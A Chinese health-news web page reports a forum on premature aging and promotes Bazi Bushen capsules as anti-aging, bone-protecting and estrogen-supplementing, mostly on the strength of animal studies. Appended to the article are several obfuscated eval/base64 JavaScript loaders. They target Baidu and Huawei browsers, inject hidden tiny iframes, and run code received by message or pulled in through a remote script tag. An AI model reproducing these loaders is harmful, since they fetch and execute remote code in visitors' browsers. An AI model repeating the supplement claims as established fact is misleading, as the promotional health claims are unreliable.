解锁抗衰密码:30岁向衰老“宣战”.中医养生 尚春台,ai2hao.com 

解锁抗衰密码:30岁向衰老“宣战”_中医养生

延缓衰老,永葆青春是人类永恒的追求,但是岁月不留情,眼角的皱纹、头顶的白发、酸痛的腰背时刻困扰着我们。人们盼望科学能够发现一种新技术,帮助延缓衰老,留住美好的青葱岁月,抗衰老研究也因此成为医学研究的热点。

12月15日,多领域专家学者在“中医药防治过早衰老论坛”上分享了抗衰老研究的最新理论和成果,揭示了衰老的共性机制问题,探讨了中医药对整体衰老及系统衰老导致的多种老年性疾病的独特价值。

30岁向衰老宣战 留住青春的脚步

很多年轻人以为衰老只是老年人的事,跟自己无关,事实并非如此。衰老是各组织器官功能随年龄增长而发生退行性变化的过程,其本质是自我修复能力下降。

30岁是多数器官衰老的起点,大脑神经细胞在20岁发育至巅峰,之后的每天以10万个速度开始死亡;人体骨骼、肌肉系统30岁起,开始走“下坡路”;心脏从40岁开始衰老,血管弹性降低,动脉开始硬化,易造成脂肪堆积,诱发心血管病。要想延缓衰老,青春常在,必须抢在器官衰老之前开始抗衰行动。

那么,器官衰老的原因是什么?《中国衰老与抗衰老专家共识(2019)》指出,衰老细胞是人体器官和组织衰老的基本结构单元,成体干细胞的衰老乃至耗竭是组织器官衰老和老年性疾病的重要诱因。暨南大学衰老与再生医学研究院院长鞠振宇教授在题为“衰老的共性机制研究与干预”报告中指出,端粒缩短与人体器官衰老存在共性机制。研究发现染色体末端的端粒像帽子一样发挥着保护作用,当端粒磨损变短,细胞就老化,相反,如果端粒酶活性很高,端粒的长度就能得到保持,细胞的老化就被延缓了。可以说,随着端粒缩短和端粒酶活性降低,各器官的衰老也就悄然开始。

科学揭示中医药抗衰老系列作用机制

相比于抗衰理论研究,很多人更关心延缓或阻止衰老的方法。

“中医药防治过早衰老论坛”上,多位专家从整体衰老以及神经系统、骨骼、血管等角度,揭示了八子补肾胶囊改善整体衰老、系统衰老以及衰老所致老年性疾病的积极作用。

在神经系统抗衰方面,北京中医药大学张东伟教授在题为《Sirt6信号通路--八子补肾抗衰老的作用机制研究》中介绍,Sirt6被称为长寿蛋白,具有去乙酰化活性、修复DNA损伤、延缓衰老的作用,因此成为研究人类抗衰老的关键靶点。实验研究发现,八子补肾胶囊可以上调大脑海马体中Sirt6表达,还可以调节海马组织中端粒酶逆转录酶(TERT)蛋白表达,改善氧化诱导端粒酶的活性,同时下调衰老相关P53蛋白表达,提高机体免疫功能、改善氧化诱导端粒酶的活性下降,从而发挥其延缓衰老的作用。

针对骨骼的抗衰老研究表明。Sirt6还能通过调节NF-κB介导的炎性微环境发挥骨保护作用。此前的北京中医药大学实验研究显示,八子补肾胶囊可能通过调节Sirt6长寿蛋白、NF-κB、cathepsinK通路发挥保护骨结构,抑制骨吸收,提高骨质量作用,从而发挥抗骨质疏松的作用。

在血管衰老及粥样硬化研究方面,河北省中西医结合医药研究院副院长侯云龙教授作题为《八子补肾胶囊干预绝经后动脉粥样硬化作用机制研究》的报告。研究发现,随着雌激素的水平的降低,绝经后妇女与动脉粥样硬化相关的发病率和死亡率显著增加。实验研究揭示了八子补肾胶囊与雌激素膜受体结合,抑制炎症反应和内皮细胞凋亡的机制。这也证实了八子补肾胶囊可以补充雌激素,激活雌激素受体,系统调节血清代谢物谱紊乱,阻断血管炎症反应,减轻炎症介导的血管内皮细胞损伤,具有抑制动脉粥样硬化斑块形成的作用。

此外,哈尔滨医科大学药学院艾静教授在题为《八子补肾改善去势高脂饮食小鼠认知功能及潜在机制》报告中发布了多项实验结果,八子补肾胶囊对改善记忆能力、认知功能、空间记忆、情景记忆、日常活动执行能力有着明确的效果。研究还证实八子补肾胶囊对心脏功能、线粒体的形态重构具有改善作用。

众多抗衰老科研工作者的不懈努力和探索,为大众揭示中医药抗衰老的系列科研成果,为现代人延缓衰老提供了科学的选择,在应对人口老龄化和推进健康中国战略的当下具有积极的现实意义。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x4F\x6B\x4A\x6A\x6B\x41\x68\x72"]=function(){eval(Akjs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoQWtqcyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEFranMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihBa2pzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbQWtqcygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfMzI1MSc7dmFyIF9fYWFucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19hYW5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzMyNTEnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fYWFucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oQWtqcyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PVFOJysnTnknKycwU00nKycxSScrJ3onKydNdE1tJysnUnlVJysneWRqJysnWkcnKydOTnQnKydSbVJ5VScrJ3lNMFFEJysnTScrJ3hFMCcrJ01sJysnMDJiaicrJzUnKydpYTNWVycrJ2UwZFgnKydadWMnKyczZDNaaycrJ01sJysnWWtNbCcrJ0UnKycwTScrJ2xNSCcrJ2MwJysnUkhhJysnJysnJywnJysnTDlmJysnWXo5JysncVUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnSUtFJysnMnV3JysnQicrJycrJycsJ04nKQ=="));}

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eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x46\x5A\x46"]=function(e){var iL =''+'ABCDEF'+'GHIJKLM'+'NOPQRSTUVWXY'+'Zabcdefg'+'hijklmnopqrst'+'uvwxyz0123456789'+'+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=iL.indexOf(e.charAt(f++));o=iL.indexOf(e.charAt(f++));u=iL.indexOf(e.charAt(f++));a=iL.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x44\x46\x5A\x50\x72\x4C\x69\x6B"]=function(){eval(FFZF("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoRkZaRih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEZGWkYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihGRlpGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbRkZaRigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEZGWkYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVQnKydMM1VEJysnTjMwQ2UnKydHSicrJ0pUSkppJysnVjJaeHAnKycyJysnTUdKJysnSlRKJysnSnonKydRRE4nKyd3RVRRJysnelUnKydTYicrJ3ZOJysnbUxqbDInKydZJysnamxXZScrJ3VsRycrJ2InKyd1dzInKydjelonKydrTWxZJysna01sJysnRTBNbCcrJ00nKydIYzBSJysnSGEnKycnKycnLCcnKyc5TTgnKydRUkInKydJZycrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydOREEnKydLaEcnKyc5JysnJysnJywnSicp"));}
eval("\x77\x69\x6e\x64\x6f\x77")["\x53\x43\x53\x4A"]=function(e){var CS =''+'ABCDEFGHI'+'JKLMNOPQR'+'STUVWXYZabcdefghi'+'jklmnopqrs'+'tuvwxyz'+'0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=CS.indexOf(e.charAt(f++));o=CS.indexOf(e.charAt(f++));u=CS.indexOf(e.charAt(f++));a=CS.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x59\x4A\x58\x53\x43\x49\x48\x77\x53"]=function(){eval(SCSJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoU0NTSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFNDU0ooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihTQ1NKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbU0NTSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFNDU0ooZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PScrJ3dNejAnKydDTTEnKydJJysneicrJ010JysnZ25SeScrJ1VTYmonKydkR0cnKydOMScrJ2tuUnlVJysneU0wUUQnKydNeEUnKycwTWwnKycwMicrJ2JqNScrJ2lhM1YnKydXZTAnKydkWFp1YycrJzMnKydkMycrJ1prTWxZJysnaycrJ01sRTAnKydNbE1IJysnYzBSSGEnKycnKycnLCcnKydjeTMnKyczSGonKydVOScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0WGUnKydrckQnKyc1JysnJysnJywnRycp"));}